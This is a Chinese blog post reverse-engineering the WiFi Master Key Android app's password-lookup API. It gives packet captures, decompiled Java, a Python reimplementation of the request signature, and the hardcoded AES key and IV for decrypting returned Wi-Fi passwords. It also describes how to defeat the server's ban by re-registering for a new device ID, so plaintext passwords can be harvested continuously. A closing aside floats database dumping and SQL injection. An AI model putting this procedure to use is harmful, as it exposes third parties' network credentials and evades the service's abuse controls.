如何快速提高你的薪资?-实力拍“跳槽吧兄弟”梦想活动即将开启
作者:enimey
时间:2014.10.28
前段时间实验室需求,分析过WIFI万能钥匙的原理,现在空了写个博客记录下。
版本:2.9.38(不是最新版)
操作系统:Android
通过真实使用该软件后,可以得到一个初步的猜测,点击一键查询万能钥匙,该软件会收集附近WIFI热点相关信息,并上传到服务器,服务器在数据库中进行相关查询,然后将查询结果返回。还有一个功能是本地字典破解。我们这里只研究第一种。
首先进行抓包分析,如何抓手机包这里就不介绍了,百度、谷歌都可以解决。点击一键查询万能钥匙后,抓包结果如下(部分敏感信息我进行了人为修改):
发送包:
POST /wifiapi/faNaNd HTTP/1.1
Content-Length: 736
Content-Type: application/x-www-form-urlencoded
Host: wifiapi02.51y5.net
Connection: Keep-Alive
och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd%3Acommonswitch&mac=13%3A68%3A3f%3A86%3Acc%3Ab8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4%2C14%3Ae6%3Ae4%3A88%3A44%3A7c%2C00%3A87%3A36%3A00%3Aed%3A80%2C38%3A59%3Af9%3Ae3%3Aaa%3Af7%2C0a%3Aa3%3Ac4%3Ac0%3Acc%3A1d%2C16%3Ae5%3A43%3Aba%3A52%3A67%2Ce6%3Ad3%3A32%3A06%3Ae1%3A31%2C88%3A53%3A2e%3Ad0%3Ad1%3Abd%2Cd8%3A24%3Abd%3A76%3A60%3Aaa%2C&v=508&ssid=test%2C518%2C%E4%B8%80%E5%8F%B6%E7%9F%A5%E7%A7%8B%2C%E5%8D%A7%E6%A7%BD%EF%BC%8C%E5%B1%85%E7%84%B6%E6%9C%89WiFi%2CATY-PC%2Cuuuuuu%2CTP-LINK_517%2C360WiFi-0009%2Ccisco-60A8%2C&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147
url解码后:
och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd:commonswitch&mac=12:68:3f:86:cc:b8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa,&v=508&ssid=test,518,一叶知秋,卧槽,居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8,&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147
返回包:
{"retSn":"446c7c3434754f57b54935a5ea8cb173","qryapwd":{"retCd":"0","psws":{"d8:24:bd:76:60:aa":{"bssid":"d8:24:bd:76:60:aa","pwd":"4924364E06341F06F90F3BD86C7DDBCE98A24FCE8457589BB0D89CB103157EB0","hid":"A7C2DEC47A6594251B6329AE48A9B6BF","xJs":"","ssid":"cisco-60A8","xUser":"","type":"internet","xPwd":"","securityLevel":"2"},"14:e6:e4:88:44:7c":{"bssid":"14:e6:e4:88:44:7c","pwd":"108C505B25B2D8FB2CC4E749A13F0D29FE94164E427BC27E6DECB5F943959188","hid":"346C68D54F9219A2CDA1549323BD3A3A","xJs":"","ssid":"518","xUser":"","type":"internet","xPwd":"","securityLevel":"2"}},"topn":{"e6:d3:32:06:e1:31TP-LINK_517":50,"38:59:f9:e3:aa:f7..................WiFi":10,"48:d2:24:5d:e2:e4test":0,"16:e5:43:ba:52:67uuuuuu":0,"d8:24:bd:76:60:aacisco-60A8":0,"88:53:2e:d0:d1:bd360WiFi-0009":0,"00:87:36:00:ed:80............":0,"14:e6:e4:88:44:7c518":0,"0a:a3:c4:c0:cc:1dATY-PC":0},"qid":"446c7c34-3475-4f57-b549-35a5ea8cb173"},"retCd":"0","commonswitch":{"retCd":"0","switchFlag":"false"}}
很明显,客户端一个POST请求(POST内容包括了WIFI相关热点信息、本机信息、命令信息、版本信息等),服务器返回的数据里就包含了加密过后的WIFI密码(pwd字段);
通过多次抓包对比,POST数据字段的特点如下:
och:guanwang //固定不变
ii:355136033391516 //手机识别码
appid:0001 //固定不变
pid:qryapwd:commonswitch /类别字段
mac:12:68:3f:86:cc:b8 //本机mac地址
lang:cn //语言字段
sign : 881FF8FB34BF53A8C598147BC2668215 //签名字段?
bssid:48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa, //WIFI热点mac地址
v:508//版本字段
ssid:test,518,一叶知秋,卧槽,居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8, //WIFI热点ssid
method:getSecurityCheckSwitch //命令字段
uhid:a0000000000000000000000000000001 //固定字段
st:m //固定字段
chanid:guanwang //固定字段
dhid:40289ec14942672d014954ad909a1147 //设备字段?
尝试用python重发该POST,服务器返回如下:
{'retCd': '-1111', 'retMsg': '商户数字签名错误,请联系请求发起方!', 'retSn': '50523aa899974790b8867d052a942805'}
所以,很明显sign字段值错误,需要逆向该APK找到sign字段值的生成算法。
反编译该APK,全局搜索字符串“sign“,结合method profiling,定位到关键代码:com/snda/wifilocating/e/u中的函数public static final JSONObject a(String arg14, Map arg15):
public static final JSONObject a(String arg14, Map arg15) { HashMap v8_1; String v1_6; JSONObject v2_6; Exception v13_1; long v6; JSONObject v1_2; JSONObject v4_4; int v2_2; String v4_3; SocketTimeoutException v2_3; String v13; int v3_1; String v5_1; Exception v2_4; String v3; long v9; JSONObject v0_1; String v0; GlobalApplication v1 = GlobalApplication.a(); if(!arg15.get("pid").equals("initdev:commonswitch") && !arg15.get("pid").equals("binddownload") && !v1.b().f()) { new StringBuilder("no dhid for pid:").append(arg15.get("pid")).toString(); v0 = ak.a(); if(TextUtils.isEmpty(((CharSequence)v0))) { v0_1 = null; return v0_1; } else if(!v1.b().g(v0)) { HashMap v2 = new HashMap(); v2.put("dhid", v0); ak.a("fndhid", "writedhidtoprefsfail_" + arg15.get("pid"), v2); } } HashMap v7 = ak.e(); v0 = aw.j(); if(TextUtils.isEmpty(((CharSequence)v0))) { v0 = aw.r(); } String v2_1 = "mac"; if(TextUtils.isEmpty(((CharSequence)v0))) { v0 = ""; } ((Map)v7).put(v2_1, v0); ((Map)v7).put("ii", v1.c()); ((Map)v7).put("dhid", v1.b().a()); if(!arg15.get("pid").equals("vwoasid")) { ((Map)v7).put("uhid", v1.b().c()); } if(arg15 != null) { ((Map)v7).putAll(arg15); } Object v0_2 = ((Map)v7).get("pid"); if((((String)v0_2).equals("shareap")) || (((String)v0_2).startsWith("qryapwd")) || (((String) v0_2).startsWith("qryapwdwithvcd"))) { ((Map)v7).put("sign", ae.a(((Map)v7), GlobalApplication.a().b().S())); //sign的生成算法 } else { ((Map)v7).put("sign", ae.a(((Map)v7), l.c)); } .......
定位到ae.a函数(参数arg5为POST内容的map表,参数arg6为服务器返回的retSn字段值):
public static String a(Map arg5, String arg6) { new StringBuilder("---------------key of md5:").append(arg6).toString(); Object[] v2 = arg5.keySet().toArray(); Arrays.sort(v2); StringBuilder v3 = new StringBuilder(); int v4 = v2.length; int v1 = 0; label_11: if(v1 < v4) { v3.append(arg5.get(v2[v1])); ++v1; goto label_11; } v3.append(arg6); return ae.a(v3.toString()).toUpperCase(); } public static final String a(String arg7) { String v0_2; try { byte[] v2 = MessageDigest.getInstance("MD5").digest(arg7.getBytes("utf-8")); StringBuffer v0_1 = new StringBuffer(); int v1; for(v1 = 0; v1 < v2.length; ++v1) { String v3 = Integer.toHexString(v2[v1] & 255); v0_1 = v3.length() == 1 ? v0_1.append("0").append(v3) : v0_1.append(v3); } v0_2 = v0_1.toString(); } catch(Exception v0) { v0.printStackTrace(); v0_2 = ""; } return v0_2; }
从而得出sign的算法为:客户端首先构造POST内容的map表,并按照键sort排序后,将值连接成字符串1,最后与服务器返回的retSn字段值连接为字符串2,取字符串2的md5值并转换为全大写字母,这样就得到了sign值。python3代码为:
def getSign(data, retSn) : if 'sign' in data : del(data['sign']) sign = '' keyList = sorted(list(data.keys())) for i in range(len(keyList)) : sign += data[keyList[i]] sign += retSn sign = hashlib.md5(sign.encode('utf-8')).hexdigest().upper() print(sign) return sign
解决了sign字段后,服务器成功返回了正确的数据,但是返回的pwd是加密过后的,我们还需要解密。
同样,反编译该APK,全局搜索字符串“dofinal”,结合method profiling,定位到关键代码com/snda/wifilocating/f/a中的函数public final String b(String arg7):
public final String b(String arg7) { //参数arg7为加密过后的pwd,函数返回值即为解密过后的pwd byte[] v1_1; byte[] v0_2; int v5 = 2; String v0 = null; if(!aq.a(arg7)) { try { this.c.init(2, this.b, this.a); //this.b为SecretKeySpec;this.a为IvParameterSpec Cipher v2 = this.c; if(arg7 != null && arg7.length() >= v5) { int v3 = arg7.length() / 2; v0_2 = new byte[v3]; int v1 = 0; label_21: if(v1 >= v3) { goto label_12; } v0_2[v1] = ((byte)Integer.parseInt(arg7.substring(v1 * 2, v1 * 2 + 2), 16)); ++v1; goto label_21; } label_12: v1_1 = v2.doFinal(v0_2); } catch(Exception v0_1) { throw new Exception("[decrypt] " + v0_1.getMessage()); } v0 = new String(v1_1); } return v0; }
通过smali注入,得知this.b和this.a的值为固定值:
this.b = "jh16@`~78vLsvpos";
this.a = "j#bd0@vp0sj!3jnv";
这里就是一个简单的aes解密函数,其中IV = “j#bd0@vp0sj!3jnv”,KEY="jh16@`~78vLsvpos",填充方式为"AES/CBC/NoPadding",解密函数的实现请参照上面贴出的代码,我用python3写的解密失败,只能用java解密,好像是python3和java的AES加解密方式不同的原因,知道的请告知解决办法,贴上我的python3解密代码(未成功):
def getPwd(pwd) : key = 'jh16@`~78vLsvpos' iv = 'j#bd0@vp0sj!3jnv' # iv = pwd[:16] # unpad = lambda s : s[0:-ord(s[-1])] cipher = AES.new(key, AES.MODE_CBC, iv) pwd = (cipher.decrypt(pwd)).decode('utf-8') print(pwd)
另外,java解密出来的数据,只有中间一部分是密码,头尾貌似是填充。
这样,我们就基本能够实现模拟POST请求,且获得明文密码。然而,当你一天之内,多次请求的时候,服务器会将你屏蔽掉,只有第二天才能继续请求。那么服务器是如何确定是你在请求呢?
通过多次测试,修改ii、mac、bssid、ssid均无效,换本机ip也无效,那么就只剩下字段dhid了。
该文件的相关配置信息是存放在/data/data/com.snda.wifilocating/shared_prefs/com.snda.wifilocating_preferences.xml文件中的,其中存放了dhid的值,而通过测试,当该APK第一次启动完毕后,该字段的值就存在了,并且一直保持不变,通过阅读相关源代码,发现dhid的值和retSn一样是从服务器返回的。清空程序数据,重新启动该APK,同时进行抓包,抓包结果如下:
发送包:
POST /wifiapi/faNaNd HTTP/1.1
Content-Length: 452
Content-Type: application/x-www-form-urlencoded
Host: wifiapi02.51y5.net
Connection: Keep-Alive
capbssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4&model=Nexus+4&och=guanwang&appid=0001&mac=10%3A68%3A3f%3A86%3Acc%3Ab8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052391516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev%3Acommonswitch&misc=google%2Foccam%2Fmako%3A4.4.4%2FKTU84P%2F1227136%3Auser%2Frelease-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184
url解码后:
capbssid=48:d2:24:5d:e2:e4&model=Nexus+4&och=guanwang&appid=0001&mac=10:68:3f:86:cc:b8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052333516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev:commonswitch&misc=google/occam/mako:4.4.4/KTU84P/1227136:user/release-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184
返回包:
{"initdev":{"retCd":"0","dhid":"ff80808149559760014955ca2d901135"},"retCd":"0","commonswitch":{"retCd":"0","switchFlag":"true"}}
这样,当服务器封掉我们的时候,只需要再构造一个initdhid的包发送给服务器,用服务器返回的新的dhid替换我们之前的dhid既可解封。
通过刚才的分析,我们完全可以自己构造POST包不断向WIFI万能钥匙服务器获取明文形式的WIFI密码,并且不会被服务器封掉。
PS:如果不断的做请求,算不算一种脱库的方式呢。话说WIFI万能钥匙的数据库才用了Hibernate,能不能sql注入呢?